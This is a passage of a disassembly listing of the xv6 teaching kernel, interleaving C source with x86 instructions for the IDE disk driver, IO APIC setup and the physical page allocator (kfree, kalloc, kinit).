<ideinit+0x50> havedisk1 = 1; 8010202a: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560 80102031: 00 00 00 } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102034: ba f6 01 00 00 mov $0x1f6,%edx 80102039: b8 e0 ff ff ff mov $0xffffffe0,%eax 8010203e: ee out %al,(%dx) } } // Switch back to disk 0. outb(0x1f6, 0xe0 | (0<<4)); } 8010203f: c9 leave 80102040: c3 ret 80102041: eb 0d jmp 80102050 <ideintr> 80102043: 90 nop 80102044: 90 nop 80102045: 90 nop 80102046: 90 nop 80102047: 90 nop 80102048: 90 nop 80102049: 90 nop 8010204a: 90 nop 8010204b: 90 nop 8010204c: 90 nop 8010204d: 90 nop 8010204e: 90 nop 8010204f: 90 nop 80102050 <ideintr>: } // Interrupt handler. void ideintr(void) { 80102050: 55 push %ebp 80102051: 89 e5 mov %esp,%ebp 80102053: 57 push %edi 80102054: 56 push %esi 80102055: 53 push %ebx 80102056: 83 ec 18 sub $0x18,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 80102059: 68 80 a5 10 80 push $0x8010a580 8010205e: e8 dd 22 00 00 call 80104340 <acquire> if((b = idequeue) == 0){ 80102063: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx 80102069: 83 c4 10 add $0x10,%esp 8010206c: 85 db test %ebx,%ebx 8010206e: 74 34 je 801020a4 <ideintr+0x54> release(&idelock); return; } idequeue = b->qnext; 80102070: 8b 43 58 mov 0x58(%ebx),%eax 80102073: a3 64 a5 10 80 mov %eax,0x8010a564 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 80102078: 8b 33 mov (%ebx),%esi 8010207a: f7 c6 04 00 00 00 test $0x4,%esi 80102080: 74 3e je 801020c0 <ideintr+0x70> insl(0x1f0, b->data, BSIZE/4); // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 80102082: 83 e6 fb and $0xfffffffb,%esi wakeup(b); 80102085: 83 ec 0c sub $0xc,%esp if(!(b->flags & B_DIRTY) && idewait(1) >= 0) insl(0x1f0, b->data, BSIZE/4); // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 80102088: 83 ce 02 or $0x2,%esi 8010208b: 89 33 mov %esi,(%ebx) wakeup(b); 8010208d: 53 push %ebx 8010208e: e8 4d 1e 00 00 call 80103ee0 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 80102093: a1 64 a5 10 80 mov 0x8010a564,%eax 80102098: 83 c4 10 add $0x10,%esp 8010209b: 85 c0 test %eax,%eax 8010209d: 74 05 je 801020a4 <ideintr+0x54> idestart(idequeue); 8010209f: e8 5c fe ff ff call 80101f00 <idestart> // First queued buffer is the active request. acquire(&idelock); if((b = idequeue) == 0){ release(&idelock); 801020a4: 83 ec 0c sub $0xc,%esp 801020a7: 68 80 a5 10 80 push $0x8010a580 801020ac: e8 3f 23 00 00 call 801043f0 <release> // Start disk on next buf in queue. if(idequeue != 0) idestart(idequeue); release(&idelock); } 801020b1: 8d 65 f4 lea -0xc(%ebp),%esp 801020b4: 5b pop %ebx 801020b5: 5e pop %esi 801020b6: 5f pop %edi 801020b7: 5d pop %ebp 801020b8: c3 ret 801020b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801020c0: ba f7 01 00 00 mov $0x1f7,%edx 801020c5: 8d 76 00 lea 0x0(%esi),%esi 801020c8: ec in (%dx),%al static int idewait(int checkerr) { int r; while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 801020c9: 89 c1 mov %eax,%ecx 801020cb: 83 e1 c0 and $0xffffffc0,%ecx 801020ce: 80 f9 40 cmp $0x40,%cl 801020d1: 75 f5 jne 801020c8 <ideintr+0x78> ; if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 801020d3: a8 21 test $0x21,%al 801020d5: 75 ab jne 80102082 <ideintr+0x32> } idequeue = b->qnext; // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) insl(0x1f0, b->data, BSIZE/4); 801020d7: 8d 7b 5c lea 0x5c(%ebx),%edi } static inline void insl(int port, void *addr, int cnt) { asm volatile("cld; rep insl" : 801020da: b9 80 00 00 00 mov $0x80,%ecx 801020df: ba f0 01 00 00 mov $0x1f0,%edx 801020e4: fc cld 801020e5: f3 6d rep insl (%dx),%es:(%edi) 801020e7: 8b 33 mov (%ebx),%esi 801020e9: eb 97 jmp 80102082 <ideintr+0x32> 801020eb: 90 nop 801020ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801020f0 <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 801020f0: 55 push %ebp 801020f1: 89 e5 mov %esp,%ebp 801020f3: 53 push %ebx 801020f4: 83 ec 10 sub $0x10,%esp 801020f7: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf **pp; if(!holdingsleep(&b->lock)) 801020fa: 8d 43 0c lea 0xc(%ebx),%eax 801020fd: 50 push %eax 801020fe: e8 8d 20 00 00 call 80104190 <holdingsleep> 80102103: 83 c4 10 add $0x10,%esp 80102106: 85 c0 test %eax,%eax 80102108: 0f 84 ad 00 00 00 je 801021bb <iderw+0xcb> panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 8010210e: 8b 03 mov (%ebx),%eax 80102110: 83 e0 06 and $0x6,%eax 80102113: 83 f8 02 cmp $0x2,%eax 80102116: 0f 84 b9 00 00 00 je 801021d5 <iderw+0xe5> panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) 8010211c: 8b 53 04 mov 0x4(%ebx),%edx 8010211f: 85 d2 test %edx,%edx 80102121: 74 0d je 80102130 <iderw+0x40> 80102123: a1 60 a5 10 80 mov 0x8010a560,%eax 80102128: 85 c0 test %eax,%eax 8010212a: 0f 84 98 00 00 00 je 801021c8 <iderw+0xd8> panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock 80102130: 83 ec 0c sub $0xc,%esp 80102133: 68 80 a5 10 80 push $0x8010a580 80102138: e8 03 22 00 00 call 80104340 <acquire> // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010213d: 8b 15 64 a5 10 80 mov 0x8010a564,%edx 80102143: 83 c4 10 add $0x10,%esp panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock // Append b to idequeue. b->qnext = 0; 80102146: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010214d: 85 d2 test %edx,%edx 8010214f: 75 09 jne 8010215a <iderw+0x6a> 80102151: eb 58 jmp 801021ab <iderw+0xbb> 80102153: 90 nop 80102154: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102158: 89 c2 mov %eax,%edx 8010215a: 8b 42 58 mov 0x58(%edx),%eax 8010215d: 85 c0 test %eax,%eax 8010215f: 75 f7 jne 80102158 <iderw+0x68> 80102161: 83 c2 58 add $0x58,%edx ; *pp = b; 80102164: 89 1a mov %ebx,(%edx) // Start disk if necessary. if(idequeue == b) 80102166: 3b 1d 64 a5 10 80 cmp 0x8010a564,%ebx 8010216c: 74 44 je 801021b2 <iderw+0xc2> idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 8010216e: 8b 03 mov (%ebx),%eax 80102170: 83 e0 06 and $0x6,%eax 80102173: 83 f8 02 cmp $0x2,%eax 80102176: 74 23 je 8010219b <iderw+0xab> 80102178: 90 nop 80102179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi sleep(b, &idelock); 80102180: 83 ec 08 sub $0x8,%esp 80102183: 68 80 a5 10 80 push $0x8010a580 80102188: 53 push %ebx 80102189: e8 a2 1b 00 00 call 80103d30 <sleep> // Start disk if necessary. if(idequeue == b) idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 8010218e: 8b 03 mov (%ebx),%eax 80102190: 83 c4 10 add $0x10,%esp 80102193: 83 e0 06 and $0x6,%eax 80102196: 83 f8 02 cmp $0x2,%eax 80102199: 75 e5 jne 80102180 <iderw+0x90> sleep(b, &idelock); } release(&idelock); 8010219b: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp) } 801021a2: 8b 5d fc mov -0x4(%ebp),%ebx 801021a5: c9 leave while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ sleep(b, &idelock); } release(&idelock); 801021a6: e9 45 22 00 00 jmp 801043f0 <release> acquire(&idelock); //DOC:acquire-lock // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801021ab: ba 64 a5 10 80 mov $0x8010a564,%edx 801021b0: eb b2 jmp 80102164 <iderw+0x74> ; *pp = b; // Start disk if necessary. if(idequeue == b) idestart(b); 801021b2: 89 d8 mov %ebx,%eax 801021b4: e8 47 fd ff ff call 80101f00 <idestart> 801021b9: eb b3 jmp 8010216e <iderw+0x7e> iderw(struct buf *b) { struct buf **pp; if(!holdingsleep(&b->lock)) panic("iderw: buf not locked"); 801021bb: 83 ec 0c sub $0xc,%esp 801021be: 68 0a 71 10 80 push $0x8010710a 801021c3: e8 a8 e1 ff ff call 80100370 <panic> if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) panic("iderw: ide disk 1 not present"); 801021c8: 83 ec 0c sub $0xc,%esp 801021cb: 68 35 71 10 80 push $0x80107135 801021d0: e8 9b e1 ff ff call 80100370 <panic> struct buf **pp; if(!holdingsleep(&b->lock)) panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) panic("iderw: nothing to do"); 801021d5: 83 ec 0c sub $0xc,%esp 801021d8: 68 20 71 10 80 push $0x80107120 801021dd: e8 8e e1 ff ff call 80100370 <panic> 801021e2: 66 90 xchg %ax,%ax 801021e4: 66 90 xchg %ax,%ax 801021e6: 66 90 xchg %ax,%ax 801021e8: 66 90 xchg %ax,%ax 801021ea: 66 90 xchg %ax,%ax 801021ec: 66 90 xchg %ax,%ax 801021ee: 66 90 xchg %ax,%ax 801021f0 <ioapicinit>: ioapic->data = data; } void ioapicinit(void) { 801021f0: 55 push %ebp int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; 801021f1: c7 05 54 26 11 80 00 movl $0xfec00000,0x80112654 801021f8: 00 c0 fe ioapic->data = data; } void ioapicinit(void) { 801021fb: 89 e5 mov %esp,%ebp 801021fd: 56 push %esi 801021fe: 53 push %ebx }; static uint ioapicread(int reg) { ioapic->reg = reg; 801021ff: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000 80102206: 00 00 00 return ioapic->data; 80102209: 8b 15 54 26 11 80 mov 0x80112654,%edx 8010220f: 8b 72 10 mov 0x10(%edx),%esi }; static uint ioapicread(int reg) { ioapic->reg = reg; 80102212: c7 02 00 00 00 00 movl $0x0,(%edx) return ioapic->data; 80102218: 8b 0d 54 26 11 80 mov 0x80112654,%ecx int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 8010221e: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx ioapicinit(void) { int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 80102225: 89 f0 mov %esi,%eax 80102227: c1 e8 10 shr $0x10,%eax 8010222a: 0f b6 f0 movzbl %al,%esi static uint ioapicread(int reg) { ioapic->reg = reg; return ioapic->data; 8010222d: 8b 41 10 mov 0x10(%ecx),%eax int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 80102230: c1 e8 18 shr $0x18,%eax 80102233: 39 d0 cmp %edx,%eax 80102235: 74 16 je 8010224d <ioapicinit+0x5d> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 80102237: 83 ec 0c sub $0xc,%esp 8010223a: 68 54 71 10 80 push $0x80107154 8010223f: e8 1c e4 ff ff call 80100660 <cprintf> 80102244: 8b 0d 54 26 11 80 mov 0x80112654,%ecx 8010224a: 83 c4 10 add $0x10,%esp 8010224d: 83 c6 21 add $0x21,%esi ioapic->data = data; } void ioapicinit(void) { 80102250: ba 10 00 00 00 mov $0x10,%edx 80102255: b8 20 00 00 00 mov $0x20,%eax 8010225a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 80102260: 89 11 mov %edx,(%ecx) ioapic->data = data; 80102262: 8b 0d 54 26 11 80 mov 0x80112654,%ecx cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80102268: 89 c3 mov %eax,%ebx 8010226a: 81 cb 00 00 01 00 or $0x10000,%ebx 80102270: 83 c0 01 add $0x1,%eax static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; ioapic->data = data; 80102273: 89 59 10 mov %ebx,0x10(%ecx) 80102276: 8d 5a 01 lea 0x1(%edx),%ebx 80102279: 83 c2 02 add $0x2,%edx if(id != ioapicid) cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ 8010227c: 39 f0 cmp %esi,%eax } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 8010227e: 89 19 mov %ebx,(%ecx) ioapic->data = data; 80102280: 8b 0d 54 26 11 80 mov 0x80112654,%ecx 80102286: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx) if(id != ioapicid) cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ 8010228d: 75 d1 jne 80102260 <ioapicinit+0x70> ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); ioapicwrite(REG_TABLE+2*i+1, 0); } } 8010228f: 8d 65 f8 lea -0x8(%ebp),%esp 80102292: 5b pop %ebx 80102293: 5e pop %esi 80102294: 5d pop %ebp 80102295: c3 ret 80102296: 8d 76 00 lea 0x0(%esi),%esi 80102299: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801022a0 <ioapicenable>: void ioapicenable(int irq, int cpunum) { 801022a0: 55 push %ebp } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 801022a1: 8b 0d 54 26 11 80 mov 0x80112654,%ecx } } void ioapicenable(int irq, int cpunum) { 801022a7: 89 e5 mov %esp,%ebp 801022a9: 8b 45 08 mov 0x8(%ebp),%eax // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 801022ac: 8d 50 20 lea 0x20(%eax),%edx 801022af: 8d 44 00 10 lea 0x10(%eax,%eax,1),%eax } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 801022b3: 89 01 mov %eax,(%ecx) ioapic->data = data; 801022b5: 8b 0d 54 26 11 80 mov 0x80112654,%ecx } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 801022bb: 83 c0 01 add $0x1,%eax ioapic->data = data; 801022be: 89 51 10 mov %edx,0x10(%ecx) { // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022c1: 8b 55 0c mov 0xc(%ebp),%edx } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 801022c4: 89 01 mov %eax,(%ecx) ioapic->data = data; 801022c6: a1 54 26 11 80 mov 0x80112654,%eax { // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022cb: c1 e2 18 shl $0x18,%edx static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; ioapic->data = data; 801022ce: 89 50 10 mov %edx,0x10(%eax) // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); } 801022d1: 5d pop %ebp 801022d2: c3 ret 801022d3: 66 90 xchg %ax,%ax 801022d5: 66 90 xchg %ax,%ax 801022d7: 66 90 xchg %ax,%ax 801022d9: 66 90 xchg %ax,%ax 801022db: 66 90 xchg %ax,%ax 801022dd: 66 90 xchg %ax,%ax 801022df: 90 nop 801022e0 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 801022e0: 55 push %ebp 801022e1: 89 e5 mov %esp,%ebp 801022e3: 53 push %ebx 801022e4: 83 ec 04 sub $0x4,%esp 801022e7: 8b 5d 08 mov 0x8(%ebp),%ebx struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) 801022ea: f7 c3 ff 0f 00 00 test $0xfff,%ebx 801022f0: 75 70 jne 80102362 <kfree+0x82> 801022f2: 81 fb c8 54 11 80 cmp $0x801154c8,%ebx 801022f8: 72 68 jb 80102362 <kfree+0x82> 801022fa: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80102300: 3d ff ff ff 0d cmp $0xdffffff,%eax 80102305: 77 5b ja 80102362 <kfree+0x82> panic("kfree"); // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 80102307: 83 ec 04 sub $0x4,%esp 8010230a: 68 00 10 00 00 push $0x1000 8010230f: 6a 01 push $0x1 80102311: 53 push %ebx 80102312: e8 29 21 00 00 call 80104440 <memset> if(kmem.use_lock) 80102317: 8b 15 94 26 11 80 mov 0x80112694,%edx 8010231d: 83 c4 10 add $0x10,%esp 80102320: 85 d2 test %edx,%edx 80102322: 75 2c jne 80102350 <kfree+0x70> acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; 80102324: a1 98 26 11 80 mov 0x80112698,%eax 80102329: 89 03 mov %eax,(%ebx) kmem.freelist = r; if(kmem.use_lock) 8010232b: a1 94 26 11 80 mov 0x80112694,%eax if(kmem.use_lock) acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; kmem.freelist = r; 80102330: 89 1d 98 26 11 80 mov %ebx,0x80112698 if(kmem.use_lock) 80102336: 85 c0 test %eax,%eax 80102338: 75 06 jne 80102340 <kfree+0x60> release(&kmem.lock); } 8010233a: 8b 5d fc mov -0x4(%ebp),%ebx 8010233d: c9 leave 8010233e: c3 ret 8010233f: 90 nop acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; kmem.freelist = r; if(kmem.use_lock) release(&kmem.lock); 80102340: c7 45 08 60 26 11 80 movl $0x80112660,0x8(%ebp) } 80102347: 8b 5d fc mov -0x4(%ebp),%ebx 8010234a: c9 leave acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; kmem.freelist = r; if(kmem.use_lock) release(&kmem.lock); 8010234b: e9 a0 20 00 00 jmp 801043f0 <release> // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); if(kmem.use_lock) acquire(&kmem.lock); 80102350: 83 ec 0c sub $0xc,%esp 80102353: 68 60 26 11 80 push $0x80112660 80102358: e8 e3 1f 00 00 call 80104340 <acquire> 8010235d: 83 c4 10 add $0x10,%esp 80102360: eb c2 jmp 80102324 <kfree+0x44> kfree(char *v) { struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) panic("kfree"); 80102362: 83 ec 0c sub $0xc,%esp 80102365: 68 86 71 10 80 push $0x80107186 8010236a: e8 01 e0 ff ff call 80100370 <panic> 8010236f: 90 nop 80102370 <freerange>: kmem.use_lock = 1; } void freerange(void *vstart, void *vend) { 80102370: 55 push %ebp 80102371: 89 e5 mov %esp,%ebp 80102373: 56 push %esi 80102374: 53 push %ebx char *p; p = (char*)PGROUNDUP((uint)vstart); 80102375: 8b 45 08 mov 0x8(%ebp),%eax kmem.use_lock = 1; } void freerange(void *vstart, void *vend) { 80102378: 8b 75 0c mov 0xc(%ebp),%esi char *p; p = (char*)PGROUNDUP((uint)vstart); 8010237b: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102381: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102387: 81 c3 00 10 00 00 add $0x1000,%ebx 8010238d: 39 de cmp %ebx,%esi 8010238f: 72 23 jb 801023b4 <freerange+0x44> 80102391: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi kfree(p); 80102398: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 8010239e: 83 ec 0c sub $0xc,%esp void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023a1: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 801023a7: 50 push %eax 801023a8: e8 33 ff ff ff call 801022e0 <kfree> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023ad: 83 c4 10 add $0x10,%esp 801023b0: 39 f3 cmp %esi,%ebx 801023b2: 76 e4 jbe 80102398 <freerange+0x28> kfree(p); } 801023b4: 8d 65 f8 lea -0x8(%ebp),%esp 801023b7: 5b pop %ebx 801023b8: 5e pop %esi 801023b9: 5d pop %ebp 801023ba: c3 ret 801023bb: 90 nop 801023bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801023c0 <kinit1>: // the pages mapped by entrypgdir on free list. // 2. main() calls kinit2() with the rest of the physical pages // after installing a full page table that maps them on all cores. void kinit1(void *vstart, void *vend) { 801023c0: 55 push %ebp 801023c1: 89 e5 mov %esp,%ebp 801023c3: 56 push %esi 801023c4: 53 push %ebx 801023c5: 8b 75 0c mov 0xc(%ebp),%esi initlock(&kmem.lock, "kmem"); 801023c8: 83 ec 08 sub $0x8,%esp 801023cb: 68 8c 71 10 80 push $0x8010718c 801023d0: 68 60 26 11 80 push $0x80112660 801023d5: e8 06 1e 00 00 call 801041e0 <initlock> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 801023da: 8b 45 08 mov 0x8(%ebp),%eax for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023dd: 83 c4 10 add $0x10,%esp // after installing a full page table that maps them on all cores. void kinit1(void *vstart, void *vend) { initlock(&kmem.lock, "kmem"); kmem.use_lock = 0; 801023e0: c7 05 94 26 11 80 00 movl $0x0,0x80112694 801023e7: 00 00 00 void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 801023ea: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 801023f0: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023f6: 81 c3 00 10 00 00 add $0x1000,%ebx 801023fc: 39 de cmp %ebx,%esi 801023fe: 72 1c jb 8010241c <kinit1+0x5c> kfree(p); 80102400: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 80102406: 83 ec 0c sub $0xc,%esp void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102409: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 8010240f: 50 push %eax 80102410: e8 cb fe ff ff call 801022e0 <kfree> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102415: 83 c4 10 add $0x10,%esp 80102418: 39 de cmp %ebx,%esi 8010241a: 73 e4 jae 80102400 <kinit1+0x40> kinit1(void *vstart, void *vend) { initlock(&kmem.lock, "kmem"); kmem.use_lock = 0; freerange(vstart, vend); } 8010241c: 8d 65 f8 lea -0x8(%ebp),%esp 8010241f: 5b pop %ebx 80102420: 5e pop %esi 80102421: 5d pop %ebp 80102422: c3 ret 80102423: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102430 <kinit2>: void kinit2(void *vstart, void *vend) { 80102430: 55 push %ebp 80102431: 89 e5 mov %esp,%ebp 80102433: 56 push %esi 80102434: 53 push %ebx void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 80102435: 8b 45 08 mov 0x8(%ebp),%eax freerange(vstart, vend); } void kinit2(void *vstart, void *vend) { 80102438: 8b 75 0c mov 0xc(%ebp),%esi void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 8010243b: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102441: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102447: 81 c3 00 10 00 00 add $0x1000,%ebx 8010244d: 39 de cmp %ebx,%esi 8010244f: 72 23 jb 80102474 <kinit2+0x44> 80102451: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi kfree(p); 80102458: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 8010245e: 83 ec 0c sub $0xc,%esp void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102461: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 80102467: 50 push %eax 80102468: e8 73 fe ff ff call 801022e0 <kfree> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010246d: 83 c4 10 add $0x10,%esp 80102470: 39 de cmp %ebx,%esi 80102472: 73 e4 jae 80102458 <kinit2+0x28> void kinit2(void *vstart, void *vend) { freerange(vstart, vend); kmem.use_lock = 1; 80102474: c7 05 94 26 11 80 01 movl $0x1,0x80112694 8010247b: 00 00 00 } 8010247e: 8d 65 f8 lea -0x8(%ebp),%esp 80102481: 5b pop %ebx 80102482: 5e pop %esi 80102483: 5d pop %ebp 80102484: c3 ret 80102485: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102489: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102490 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. char* kalloc(void) { 80102490: 55 push %ebp 80102491: 89 e5 mov %esp,%ebp 80102493: 53 push %ebx 80102494: 83 ec 04 sub $0x4,%esp struct run *r; if(kmem.use_lock) 80102497: a1 94 26 11 80 mov 0x80112694,%eax 8010249c: 85 c0 test %eax,%eax 8010249e: 75 30 jne 801024d0 <kalloc+0x40> acquire(&kmem.lock); r = kmem.freelist; 801024a0: 8b 1d 98 26 11 80 mov 0x80112698,%ebx if(r) 801024a6: 85 db test %ebx,%ebx 801024a8: 74 1c je 801024c6 <kalloc+0x36> kmem.freelist = r->next; 801024aa: 8b 13 mov (%ebx),%edx 801024ac: 89 15 98 26 11 80 mov %edx,0x80112698 if(kmem.use_lock) 801024b2: 85 c0 test %eax,%eax 801024b4: 74 10 je 801024c6 <kalloc+0x36> release(&kmem.lock); 801024b6: 83 ec 0c sub $0xc,%esp 801024b9: 68 60 26 11 80 push $0x80112660 801024be: e8 2d 1f 00 00 call 801043f0 <release> 801024c3: 83 c4 10 add $0x10,%esp return (char*)r; } 801024c6: 89 d8 mov %ebx,%eax 801024c8: 8b 5d fc mov -0x4(%ebp),%ebx 801024cb: c9 leave 801024cc: c3 ret 801024cd: 8d 76 00 lea 0x0(%esi),%esi kalloc(void) { struct run *r; if(kmem.use_lock) acquire(&kmem.lock); 801024d0: 83 ec 0c sub $0xc,%esp 801024d3: 68 60 26 11 80 push $0x80112660 801024d8: e8 63 1e 00 00 call 80104340 <acquire> r = kmem.freelist; 801024dd: 8b 1d 98 26 11 80 mov 0x80112698,%ebx if(r) 801024e3: 83 c4 10 add $0x10,%esp 801024e6: a1 94 26 11 80 mov 0x80112694,%eax 801024eb: 85 db test %ebx,%ebx 801024ed: 75 bb jne 801024aa <kalloc+0x1a> 801024ef: eb c1 jmp 801024b2 <kalloc+0x22> 801024f1: 66 90 xchg %ax,%ax 801024f3: 66 90 xchg %ax,%ax 801024f5: 66 90 xchg %ax,%ax 801024f7: 66 90 xchg %ax,%ax 801024f9: 66 90 xchg %ax,%ax 801024fb: 66 90 xchg %ax,%ax 801024fd: 66 90 xchg %ax,%ax 801024ff: 90 nop 80102500 <kbdgetc>: #include "defs.h" #include "kbd.h" int kbdgetc(void) { 80102500: 55 push %ebp static inline 